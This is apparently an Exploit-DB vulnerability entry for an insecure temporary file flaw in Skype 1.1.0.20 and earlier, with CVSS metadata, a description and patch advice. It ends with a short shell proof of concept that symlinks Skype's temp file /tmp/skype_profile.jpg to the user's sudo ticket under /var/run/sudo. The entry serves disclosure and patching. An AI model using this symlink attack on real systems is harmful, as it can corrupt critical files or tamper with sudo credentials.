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vendor:
Skype
by:
SecurityFocus
7.5
CVSS
HIGH
Insecure Temporary File Creation
377
CWE
Product Name: Skype
Affected Version From: 1.1.0.20
Affected Version To: Prior Versions
Patch Exists: Yes
Related CWE: N/A
CPE: skype
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

Skype Insecure Temporary File Creation Vulnerability

Skype is affected by an insecure temporary file creation vulnerability. Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.

Mitigation:

Ensure that all users are running the latest version of Skype and that all security patches are applied.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14293/info

Skype is affected by an insecure temporary file creation vulnerability.

Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.

Skype 1.1.0.20 and prior versions are affected. 

#!/bin/sh

#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`

user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg

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